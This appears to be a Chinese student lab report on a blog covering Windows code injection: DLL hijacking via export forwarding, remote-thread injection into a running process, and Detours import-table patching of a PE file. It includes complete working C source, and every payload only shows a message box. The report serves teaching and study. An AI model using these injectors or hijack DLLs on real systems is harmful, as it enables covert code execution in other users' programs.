软件安全实验-代码注入技术

软件安全实验-代码注入技术

【实验目的】

本实验通过远程线程和输入表注入,向目标进程注入代码、向目标PE文件注入DLL,以加深对代码注入技术的理解。

【实验原理】

代码注入是将用户代码注入到其他进程或者可执行文件中,实现拦截目标进程运行过程的关键信息、改变目标进程或可执行文件原本执行流程等目的。常见的代码注入技术包括DLL劫持、远程线程注入和输入表注入等。

Windows DLL加载机制。 Windows操作系统在加载可执行文件时,会根据DLL搜索顺序在磁盘上查找所需的动态链接库。默认情况下,系统会依次搜索应用程序所在目录、系统目录、PATH环境变量指定的目录等。如果攻击者将同名的恶意DLL放置在搜索路径中靠前的位置,系统就会优先加载攻击者提供的DLL,从而实现DLL劫持。

DLL劫持原理。 DLL劫持利用了Windows的DLL搜索顺序漏洞。当应用程序调用LoadLibrary或隐式链接加载DLL时,若应用程序目录中存在同名DLL,系统会优先加载该DLL而非系统目录中的原始DLL。攻击者可以构造一个与目标DLL同名的恶意DLL,将其导出函数转发到原始DLL以保持正常功能,同时在DllMain入口函数中添加恶意代码,从而在目标进程加载该DLL时自动执行攻击者的代码。

远程线程注入原理。 远程线程注入是一种经典的进程注入技术,其核心思想是在目标进程中创建一个新线程,并使该线程执行攻击者指定的代码。具体过程为:首先通过OpenProcess获取目标进程的句柄,然后调用VirtualAllocEx在目标进程的地址空间中申请内存,接着通过WriteProcessMemory将待注入的代码(通常为DLL路径字符串和LoadLibrary函数地址)写入该内存区域,最后调用CreateRemoteThread在目标进程中创建线程,线程函数指向LoadLibrary,参数为写入的DLL路径,从而实现DLL的加载。

输入表注入原理。 PE文件的输入表(Import Table)记录了程序运行时需要从外部DLL导入的函数信息。输入表注入通过修改PE文件的输入表,将目标函数的地址替换为攻击者指定的DLL中的函数地址,从而劫持目标程序对系统API的调用。Detours库是微软开发的用于实现输入表注入的工具库,它通过修改PE文件的输入描述符,在目标函数调用前插入跳转指令,将执行流程重定向到Detour函数,实现对API调用的拦截和修改。

练习 1 DLL劫持

(1)构建劫持所用的DLL

打开 VS,创建空的 DLL 项目,命名为 lpk,然后将实验提供的 lpk.cpp 文件拷贝到项目所在目录,并在 VS 中将 lpk.cpp 添加到项目中。lpk.dll 是 Windows 系统中与文字排版相关的动态链接库,许多应用程序在启动时会隐式加载该 DLL。

(2)转发原始 DLL 的输出函数

为了在劫持 DLL 的同时不影响目标程序的正常功能,需要将原始 lpk.dll 的所有导出函数转发到备份的 lpkOrg.dll 中。输出函数名可通过 StudyPE+ 等 PE 工具查看并拷贝,不同操作系统版本的 lpk.dll,其输出函数有所区别。转发机制通过在 lpk.cpp 中使用 #pragma comment(linker, “/EXPORT:函数名=lpkOrg.函数名,@序号”) 指令实现,这样当目标程序调用 lpk.dll 的导出函数时,调用会被自动转发到 lpkOrg.dll 中执行,从而保持原有功能不受影响。

1
2
3
// export forward to original DLL
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=lpkOrg.LpkDrawTextEx,@3")
#pragma comment(linker, "/EXPORT:LpkInitialize=lpkOrg.LpkInitialize,@8")

在StudyPE+中查看lpk.dll的导出函数与转发定义

(3)添加额外功能

在 DllMain 入口函数中检测 DLL 被加载的事件(DLL_PROCESS_ATTACH),当检测到该事件时调用 CreateThread 创建一个新线程。在线程函数中调用 MessageBox 弹出对话框提示“Hello World“,以此验证恶意代码在目标进程加载 DLL 时被成功执行。选择在 DllMain 中创建线程而非直接执行耗时操作,是因为 DllMain 的执行环境存在 loader lock 限制,长时间阻塞可能导致进程死锁。

1
2
3
4
5
6
7
BOOL WINAPI DllMain(HMODULE hModule, DWORD reason, PVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, ThreadWorking, NULL, 0, NULL);
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}

(4)观察结果

编译生成可执行文件,在桌面创建新的文件夹 lpkDll,将 Windows7 系统目录中的 lpk.dll 拷贝到该文件夹,并重命名为 lpkOrg.dll 作为原始备份。然后将生成的恶意 lpk.dll 拷贝到该目录,同时拷贝 TraceMe.exe 文件到该目录。此时该目录下同时存在恶意 lpk.dll、原始 lpkOrg.dll 和目标程序 TraceMe.exe。

由于 lpk.dll 默认位于 KnownDlls 保护列表中,系统会强制从系统目录加载该 DLL 而忽略应用程序目录中的同名文件。因此需要先通过注册表将 lpk.dll 从 KnownDlls 保护中移除,使系统不再强制从系统目录加载。具体操作为在注册表 ExcludeFromKnownDlls(路径见图 2)中添加 lpk.dll,重启系统使注册表生效。重启后,进入 lpkDll 目录,打开 TraceMe.exe,此时系统会优先从应用程序所在目录加载 lpk.dll,即加载了我们构造的恶意 DLL,DllMain 中的代码被自动执行,弹出“Hello World“对话框。如图3所示。

在注册表ExcludeFromKnownDlls中添加lpk.dll

DLL劫持成功——TraceMe弹出”Hello World”对话框

注意:生成可执行文件和程序执行的环境不是同一个操作系统,可能会出现无法找到msvcrtXX.dll 的情况,此时在项目属性中修改设置,将运行库改为“多线程“或者“多线程调试“。

练习 2 远程线程代码注入

(1)创建 Win32 应用程序项目

打开 VS,选择空项目模板,创建 Win32 应用程序,然后向新建项目中添加源程序文件 InjectCode.cpp。该文件将包含提权函数、远程线程函数、注入函数和主函数的完整实现。编译时需注意选择 Release、x86 配置,以确保生成的可执行文件与 32 位目标进程兼容。

(2)编写提权函数

在远程进程中申请内存空间、创建线程等操作,需要获取相应的权限,某些目标进程需要提升操作进程的自身权限。提权函数通过 OpenProcessToken 获取当前进程的访问令牌,再调用 LookupPrivilegeValue 查找 SeDebugPrivilege 权限对应的 LUID,最后通过 AdjustTokenPrivileges 启用该权限。启用 SeDebugPrivilege 后,注入程序即可访问其他用户启动的进程,包括系统进程。(如果以管理员权限运行程序,该步骤可省略。)具体实现如图 3-5 所示。

(3)远程线程函数

线程函数是在目标进程中实施具体功能的函数,它所用到的变量、函数地址均和注入进程不同,需要通过显式链接的方式获取相应的系统 API 函数地址,因此需将要用到的函数名称、参数,以及 LoadLibrary 和 GetProcAddress 函数的地址以参数形式传入远程线程中。如图 3-6 所示。

远程线程函数接收一个指向 THREAD_PARAM 结构体的指针,该结构体中包含 LoadLibraryA 和 GetProcAddress 的函数地址以及所需的 DLL 名称、函数名称、消息文本和标题等字符串参数。线程函数首先通过 LoadLibraryA 加载目标 DLL(如 user32.dll),再通过 GetProcAddress 获取所需函数(如 MessageBoxA)的地址,最后调用该函数完成实际功能。

注意,远程线程函数中 pfnXXX 为函数指针,由函数声明改为指向函数的指针的定义方式如下: (1)将函数声明中函数名和函数调用约定放入小括号中; (2)在函数名之前加“*“,建议在函数名前加 pfn,表示该变量为指向函数的指针; (3)在定义前加 typedef 关键字。

由于远程线程函数的代码将被整体复制到目标进程中执行,因此该函数不能调用注入进程地址空间中的任何全局变量和静态变量,所有数据必须通过参数传入。同时需要提供一个存根函数(如 ThreadProcEnd)来估算线程函数的代码大小,通过计算两个相邻函数地址之差获得。

(4)实施注入

回顾课件中介绍远程线程注入的过程,参照图 3-7 所示的代码片段,向目标进程中注入代码。注入函数 InjectCode 的执行流程如下:首先通过 OpenProcess 获取目标进程的句柄;然后在注入进程中准备好 THREAD_PARAM 结构体参数,将 LoadLibraryA 和 GetProcAddress 的地址以及所需的字符串写入其中;接着调用 VirtualAllocEx 在目标进程的地址空间中申请可读写的内存区域,通过 WriteProcessMemory 将参数数据写入该区域;再申请一块具有可执行权限的内存区域,将远程线程函数的机器码写入其中;最后调用 CreateRemoteThread 在目标进程中创建线程,线程函数指向写入的代码首地址,参数为写入的参数首地址,从而在目标进程中执行注入代码。

1
2
3
4
5
6
7
8
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
LPVOID pParam = VirtualAllocEx(hProcess, NULL, sizeof(THREAD_PARAM),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pParam, &param, sizeof(THREAD_PARAM), NULL);
LPVOID pCode = VirtualAllocEx(hProcess, NULL, codeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pCode, (LPVOID)ThreadProc, codeSize, NULL);
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, pParam, 0, NULL);

(5)编写 main 函数

主函数负责解析命令行参数获取目标进程 PID,调用提权函数提升权限后,调用 InjectCode 函数执行远程线程注入。命令行参数格式为程序名加目标进程 PID,例如 InjectCode.exe 1234

(6)观察结果

编译生成可执行文件(选择 Release、x86 配置),打开 TraceMe.exe,通过任务管理器查看其进程 PID,将其作为生成可执行文件的参数。打开命令提示符,以命令形式执行程序,例如 InjectCode.exe 1234,观察并记录注入效果。注入成功后,目标进程中将弹出“Hello, World“对话框,证明远程线程代码注入成功。

远程线程代码注入成功——注入进程弹出“Hello, World“对话框

练习 3 利用Detours实现输入表注入

(1)构建注入所用的 DLL

打开 VS,创建空的 DLL 项目,然后向新建项目中添加源程序文件 main.cpp,编写如图 3-9 所示的代码,编译、生成 DLL 文件。该 DLL 的主要功能是在 DllMain 入口函数中检测 DLL_PROCESS_ATTACH 事件,当目标程序加载该 DLL 时弹出"Load Injection DLL"对话框,以此验证输入表注入成功。同时 DLL 需要导出一个空的占位函数(如 add 函数),以确保 Detours 能够正确修改输入表。

(2)构建注入 DLL 的 Win32 项目

打开 VS,创建空的 Win32 应用程序项目,然后向新建项目中添加源程序文件 DetoursInject.cpp,然后包含 detours.h 头文件,并导入 detours.lib,如图 3-10 所示。Detours 是微软开发的一个用于拦截和修改 Windows API 调用的库,它通过修改 PE 文件的输入表来实现 DLL 注入。项目需要正确配置 Detours 库的头文件和库文件路径。

(3)编写 main 函数

主函数负责解析命令行参数并调用注入函数。向目标 PE 文件注入 DLL,因此需要传入 2 个参数,分别为 DLL 文件和目标 PE 文件路径,此时可使用文件的相对路径作为输入,如图 3-11 所示。函数中所使用的 s_szDllPath 为全局变量所定义的字符串数组,用于存储待注入 DLL 的完整路径。主函数首先将 DLL 路径拷贝到全局变量中,然后调用 SetFile 函数执行实际的注入操作。

(4)实现输入表注入功能

SetFile 函数实现了输入表注入的核心逻辑。首先通过 CreateFileA 分别打开原始 PE 文件和创建新的输出文件,然后调用 DetourBinaryOpen 打开 PE 文件的二进制结构。接着依次调用 DetourBinaryResetImports 重置输入表、DetourBinaryEditImports 编辑输入表(通过回调函数添加新的 DLL 项)、DetourBinaryWrite 将修改后的 PE 文件写入新文件、DetourBinaryClose 关闭二进制结构。最终生成的新的 PE 文件在输入表中增加了指向注入 DLL 的条目,当目标程序加载该 PE 文件时,系统会自动加载注入 DLL 并执行其 DllMain 中的代码。

1
2
3
4
5
DetourBinaryOpen(hOld);
DetourBinaryResetImports();
DetourBinaryEditImports(hNew, AddBywayCallback, NULL, NULL);
DetourBinaryWrite(hNew);
DetourBinaryClose();

(5)添加输入表项的回调函数

Detours 编辑输入表时,需要通过回调函数来获取所添加的 DLL 文件名。回调函数 AddBywayCallback 在 DetourBinaryEditImports 执行过程中被调用,当检测到需要添加新的 DLL 条目时(pszFile 为 NULL 且尚未添加),将全局变量 s_szDllPath 中存储的 DLL 路径赋值给输出参数 ppszOutFile,从而将注入 DLL 添加到目标 PE 文件的输入表中。该回调函数通过布尔标志 pbAddedDll 确保 DLL 只被添加一次。

(6)观察结果

编译生成可执行文件,打开命令提示符,以命令形式执行程序,命令格式如下:

1
DetoursInject.exe <注入DLL路径> <目标PE文件路径>

例如:DetoursInject.exe injected.dll TraceMe.exe。程序执行后会生成一个新的 PE 文件(new-TraceMe.exe)。打开 StudyPE+ 工具,查看生成的 PE 文件的区块表变化情况,可以观察到输入表中新增了指向注入 DLL 的条目。执行新的 PE 文件,目标程序在启动时会自动加载注入 DLL 并弹出"Load Injection DLL"对话框,观察注入效果。

Detours输入表注入成功——弹出“Load Injected DLL“对话框

注入后PE文件新增.detour段

【思考与总结】

(1)尝试劫持Windows 7中的msimg32.dll(注意目标程序的选择)。(练习 1)

首先编写一个调用msimg32.dll的测试程序(代码见附录),使用StudyPE+查看其导入表,确认测试程序确实导入了msimg32.dll中的函数。

测试程序的导入表——确认导入了msimg32.dll

然后构建一个同名的msimg32.dll,导出与原始DLL相同的函数并转发到原始DLL。通过StudyPE+查看原始msimg32.dll的导出表,获取需要转发的函数名称和序号。

使用StudyPE+查看原始msimg32.dll的导出表

同时在DllMain中添加恶意代码(如弹窗)。将恶意DLL放置在测试程序所在目录,msimg32.dll本身不在KnownDlls保护列表中,所以无需修改注册表。运行测试程序,成功加载恶意DLL并执行其中的代码,弹出对话框提示劫持成功。

msimg32.dll劫持成功——测试程序弹出对话框

(2)远程线程代码注入实验中,Visual Studio编译时的配置选择Release、x86的原因是什么?编译时选择x64的配置适用哪些目标进程?(练习 2)

选择Release配置的原因:Debug配置生成的可执行文件包含调试符号和额外的运行时检查代码,且依赖于调试版运行库(如msvcrtd.dll),这会增大文件体积并引入对目标系统不存在的DLL的依赖,可能导致注入程序本身无法正常运行。Release配置经过编译器优化,生成的代码体积小、无调试依赖,更适合在目标环境中部署和执行。

选择x86配置的原因:远程线程注入要求注入程序与目标进程具有相同的处理器架构。注入程序通过VirtualAllocEx、WriteProcessMemory、CreateRemoteThread等API在目标进程的地址空间中申请内存、写入代码并创建线程,这些操作依赖于进程的地址空间布局和调用约定。如果注入程序为64位而目标进程为32位(或反之),两者的内存布局和函数调用约定不兼容,会导致注入失败。因此注入程序必须与目标进程保持一致的架构。

(3)利用detours实现输入表注入时,如果注入的DLL没有输出任何函数,结果会怎样?试分析原因。(练习 3)

注入的DLL即使没有输出任何函数,DLL本身的DllMain入口函数仍会在目标程序加载该DLL时被执行。这是因为Detours通过修改PE文件的输入表,将注入的DLL添加为一个新的输入项,当操作系统加载目标程序时会根据输入表依次加载所有依赖的DLL并调用各自的DllMain,因此DLL中的恶意代码仍能正常触发。但是,由于该DLL没有导出任何函数,目标程序对系统API的正常调用不会被劫持或拦截。若需要实现API拦截功能,DLL必须导出与目标API同名的函数,才能使Detours将目标程序的调用重定向到注入DLL中。

【附录-完整源代码】

练习1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "pch.h"
#include <Windows.h>
#include <stdio.h>

// 导出函数
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=lpkOrg.LpkTabbedTextOut,@1")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=lpkOrg.LpkDllInitialize,@2")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=lpkOrg.LpkDrawTextEx,@3")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=lpkOrg.LpkPSMTextOut,@4")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache = lpkOrg.LpkUseGDIWidthCache,@5")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement = lpkOrg.LpkGetCharacterPlacement, @6")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint = lpkOrg.LpkGetTextExtentExPoint, @7")
#pragma comment(linker, "/EXPORT:LpkInitialize=lpkOrg.LpkInitialize,@8")
#pragma comment(linker, "/EXPORT:ftsWordBreak=lpkOrg.ftsWordBreak,@9")
#pragma comment(linker, "/EXPORT:LpkEditControl=lpkOrg.LpkEditControl,@10")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=lpkOrg.LpkExtTextOut,@11")


DWORD WINAPI ThreadWorking(LPVOID lpParameters)
{
MessageBox(NULL, TEXT("Hello World"), TEXT("Pratice"), MB_OK);
return 0;
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
CreateThread(NULL, 0, ThreadWorking, NULL, 0, NULL);
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}

练习2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <windows.h>
#include <stdio.h>

typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "text", "caption"
} THREAD_PARAM, * PTHREAD_PARAM;

// 1. 补全函数指针类型定义
typedef HMODULE(WINAPI* pfnLoadLibrary)(LPCSTR lpLibFileName);
typedef FARPROC(WINAPI* pfnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef int (WINAPI* pfnMsgBox)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken error:%d\n", GetLastError());
return FALSE;
}

LUID luid;
if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
printf("LookupPrivilegeValue error:%d\n", GetLastError());
return FALSE;
}

TOKEN_PRIVILEGES NewState;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luid;
if (bEnablePrivilege)
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
NewState.Privileges[0].Attributes = 0;

if (!AdjustTokenPrivileges(hToken, FALSE, &NewState, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("AdjustTokenPrivileges error:%d\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}

DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
// "user32.dll"
HMODULE hMod = ((pfnLoadLibrary)pParam -> pFunc[0])(pParam -> szBuf[0]);
if (!hMod)
return 1;

// "MessageBoxA"
pfnMsgBox pFunc = (pfnMsgBox)((pfnGetProcAddress)pParam -> pFunc[1])(hMod, pParam->szBuf[1]);
if (!pFunc)
return 1;

pFunc(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}

// 2. 提供一个存根函数,用于辅助计算 ThreadProc 的大小
// 编译器在生成代码时,通常将相邻定义的函数放在相邻的内存地址
void ThreadProcEnd() {}

BOOL InjectCode(DWORD dwPID)
{
// 3. 补全 OpenProcess 权限:需要读写内存、操作虚拟内存以及创建线程的权限
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
if (!hProcess)
{
printf("OpenProcess Error:%d\n", GetLastError());
return FALSE;
}

// 写入线程函数所用的参数
THREAD_PARAM param = { 0 };
HMODULE hMod = GetModuleHandleA("Kernel32.dll");
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Hello, World");
strcpy_s(param.szBuf[3], "AHU");

DWORD dwSize = sizeof(THREAD_PARAM);

// 4. 补全参数空间的 VirtualAllocEx:参数仅需要可读写权限 (PAGE_READWRITE)
VOID* pParam = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pParam)
{
printf("VirtualAllocEx for parameter Error:%d\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}

// 5. 补全参数空间的 WriteProcessMemory
if (!WriteProcessMemory(hProcess, pParam, &param, dwSize, NULL))
{
printf("WriteProcessMemory Error:%d\n", GetLastError());
VirtualFreeEx(hProcess, pParam, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// 写入远程线程函数
// 6. 补全大小计算:利用当前函数指针与函数指针的差值估算大小
dwSize = (DWORD_PTR)ThreadProcEnd - (DWORD_PTR)ThreadProc;

// 7. 补全代码空间的 VirtualAllocEx:由于要执行代码,必须赋予可执行权限 (PAGE_EXECUTE_READWRITE)
VOID* pThreadAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pThreadAddr)
{
printf("VirtualAllocEx for Thread Error:%d\n", GetLastError());
VirtualFreeEx(hProcess, pParam, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// 8. 补全代码空间的 WriteProcessMemory
if (!WriteProcessMemory(hProcess, pThreadAddr, (LPVOID)ThreadProc, dwSize, NULL))
{
printf("WriteProcessMemory for Thread Error:%d\n", GetLastError());
VirtualFreeEx(hProcess, pParam, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pThreadAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

// 9. 补全 CreateRemoteThread:指向远程分配的代码首地址, 并传入远程分配的参数首地址
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadAddr, pParam, 0, NULL);
if (!hThread)
{
printf("CreateRemoteThread Error:%d\n", GetLastError());
VirtualFreeEx(hProcess, pParam, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pThreadAddr, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}

int main(int argc, char** argv)
{
if (argc != 2)
{
printf("\n USAGE: %s <PID>\n", argv[0]);
return 1;
}

if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
return 1;

DWORD dwPid = atoi(argv[1]);
InjectCode(dwPid);

return 0;
}

练习3 DLL文件代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include "pch.h"
extern "C" __declspec(dllexport) void add(void)
{

}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
MessageBox(NULL, L"Load Injection DLL", L"Chapter6", MB_OK);

}
return TRUE;
}

InjectCode.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <windows.h>
#include <strsafe.h>
#include "detours.h"

#pragma comment(lib, "detours.lib")

char s_szDllPath[256] = { 0 };

static BOOL CALLBACK AddBywayCallback(PVOID pContext, LPCSTR pszFile, LPCSTR* ppszOutFile)
{
PBOOL pbAddedDll = (PBOOL)pContext;
if (!pszFile && !*pbAddedDll)
{ // Add new byway.
*pbAddedDll = TRUE;
*ppszOutFile = s_szDllPath;
}
return TRUE;
}

BOOL SetFile(PCHAR pszPath)
{
CHAR szNew[MAX_PATH] = { 0 };
// Use explicit ANSI-safe string formatting to avoid wchar/char mismatch when building the new filename.
StringCchPrintfA(szNew, MAX_PATH, "new-%s", pszPath);

// 打开目标PE文件
HANDLE hOld = CreateFileA(pszPath,GENERIC_READ,FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOld == INVALID_HANDLE_VALUE)
{
printf("Couldn't open input file: %s, error: %d\n", pszPath, GetLastError());
return FALSE;
}

// 创建新的PE文件
HANDLE hNew = CreateFileA(szNew, GENERIC_WRITE|GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (hNew == INVALID_HANDLE_VALUE)
{
printf("Couldn't open output file: %s, error: %d\n", szNew, GetLastError());
CloseHandle(hOld);
return FALSE;
}

PDETOUR_BINARY pBinary = DetourBinaryOpen(hOld);
if (pBinary == NULL)
{
printf("DetourBinaryOpen failed: %d\n", GetLastError());
CloseHandle(hOld);
CloseHandle(hNew);
return FALSE;
}
CloseHandle(hOld);

BOOL bAddedDll = FALSE;
DetourBinaryResetImports(pBinary);

if (!DetourBinaryEditImports(pBinary, &bAddedDll, AddBywayCallback, NULL, NULL, NULL))
printf("DetourBinaryEditImports failed: %d\n", GetLastError());

BOOL bGood = TRUE;
if (!DetourBinaryWrite(pBinary, hNew))
{
printf("DetourBinaryWrite failed: %d\n", GetLastError());
bGood = FALSE;
}

DetourBinaryClose(pBinary);
CloseHandle(hNew);
return bGood;
}

int main(int argc, char** argv)
{
printf("Adding %s to %s\n", argv[1], argv[2]);
StringCchCopyA(s_szDllPath, sizeof(s_szDllPath), argv[1]);
SetFile(argv[2]);
return 0;
}

思考与总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// Link to msimg32 import library for static linking of AlphaBlend
#pragma comment(lib, "Msimg32.lib")


LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_CREATE:
// statically linked via Msimg32.lib; nothing to do at creation
return 0;

case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
RECT rc;
GetClientRect(hWnd, &rc);
int w = rc.right - rc.left;
int h = rc.bottom - rc.top;

HDC hdcMem = CreateCompatibleDC(hdc);
HBITMAP hbm = CreateCompatibleBitmap(hdc, w, h);
HBITMAP hOld = (HBITMAP)SelectObject(hdcMem, hbm);

HBRUSH hBrush = (HBRUSH)GetStockObject(WHITE_BRUSH);
FillRect(hdcMem, &rc, hBrush);

SetBkMode(hdcMem, TRANSPARENT);
SetTextColor(hdcMem, RGB(0,0,0));

const char *text = "hello world";
DrawTextA(hdcMem, text, -1, &rc, DT_SINGLELINE | DT_CENTER | DT_VCENTER);

{
BLENDFUNCTION bf = {0};
bf.BlendOp = AC_SRC_OVER;
bf.BlendFlags = 0;
bf.SourceConstantAlpha = 255; // opaque copy
bf.AlphaFormat = 0; // use constant alpha, not per-pixel
if (!AlphaBlend(hdc, 0, 0, w, h, hdcMem, 0, 0, w, h, bf))
{
BitBlt(hdc, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
}
}

SelectObject(hdcMem, hOld);
DeleteObject(hbm);
DeleteDC(hdcMem);

EndPaint(hWnd, &ps);
return 0;
}

case WM_DESTROY:
// nothing to free when linked statically
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WNDCLASSA wc = {0};
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = "MyMsImg32App";
wc.hCursor = LoadCursor(NULL, IDC_ARROW);

RegisterClassA(&wc);

HWND hwnd = CreateWindowA(wc.lpszClassName, L"msimg32test", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 320, 120,
NULL, NULL, hInstance, NULL);
if (!hwnd) return 0;

ShowWindow(hwnd, nCmdShow);
UpdateWindow(hwnd);

MSG msg;
while (GetMessageA(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return (int)msg.wParam;
}

// Provide a console-friendly main() that forwards to WinMain.
// This avoids "unresolved external symbol main" when linking as a console app.
int main(void)
{
return WinMain(GetModuleHandle(NULL), NULL, GetCommandLineA(), SW_SHOWDEFAULT);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "pch.h"
#include <Windows.h>
#include <stdio.h>

#pragma comment(linker, "/EXPORT:AlphaBlend=msimg32Org.AlphaBlend,@1")
#pragma comment(linker, "/EXPORT:DllInitialize=msimg32Org.DllInitialize,@2")
#pragma comment(linker, "/EXPORT:GradientFill=msimg32Org.GradientFill,@3")
#pragma comment(linker, "/EXPORT:vSetDibtarget=msimg32Org.vSetDibtarget,@4")
#pragma comment(linker, "/EXPORT:TransparentBlt=msimg32Org.TransparentBlt,@5")

DWORD WINAPI ThreadWorking(LPVOID lpParameters)
{
MessageBox(NULL, TEXT("msimg32 DLL Hijacked!"), TEXT("Success"), MB_OK);
return 0;
}

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
CreateThread(NULL, 0, ThreadWorking, NULL, 0, NULL);
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}

软件安全实验-代码注入技术
https://eleco.top/2026/05/21/软件安全实验-代码注入技术/
作者
Eleco
发布于
2026年5月21日
许可协议